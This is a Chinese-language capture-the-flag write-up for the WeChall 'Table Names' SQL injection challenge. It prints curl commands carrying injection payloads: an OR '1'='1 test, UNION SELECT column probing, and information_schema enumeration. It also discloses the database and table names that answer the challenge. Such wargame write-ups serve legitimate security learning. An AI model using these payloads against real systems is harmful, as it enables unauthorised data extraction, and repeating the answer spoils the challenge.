WeChall - Table Names
Challenge
MySQL + Exploit, difficulty 4.79. 找出 SQL 注入漏洞所用的数据库名和表名。无源码,有测试账号 test/test。
答案格式: databasename_tablename
Solution
漏洞脚本是一个 GET 方法的登录表单,username 和 password 参数都存在 SQL 注入。
先用测试账号登录,确认正常响应:
1 | $ curl -G --data-urlencode "username=test" --data-urlencode "password=test" --data-urlencode "login=login" \ |
用户名和密码字段都可以注入。布尔盲注验证:
1 | $ curl -G --data-urlencode "username=test' OR '1'='1" --data-urlencode "password=x" --data-urlencode "login=login" \ |
确认注入点后,用 UNION SELECT 探测列数。正常登录显示用户名和 welcome message 两个字段,猜测 2-3 列。逐一测试发现 3 列时 welcome message 位置返回了 UNION 的值:
1 | $ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,1-- -" --data-urlencode "password=x" --data-urlencode "login=login" \ |
第 3 列对应 welcome message 显示位置。提取数据库名:
1 | $ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,database()-- -" ... |
用 hex()
确认:67697A6D6F72655F7461626C65753631 →
gizmore_tableu61。
枚举该数据库下的表:
1 | $ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)-- -" ... |
两个表:aaawrong(陷阱)和
usertableus4(用户表)。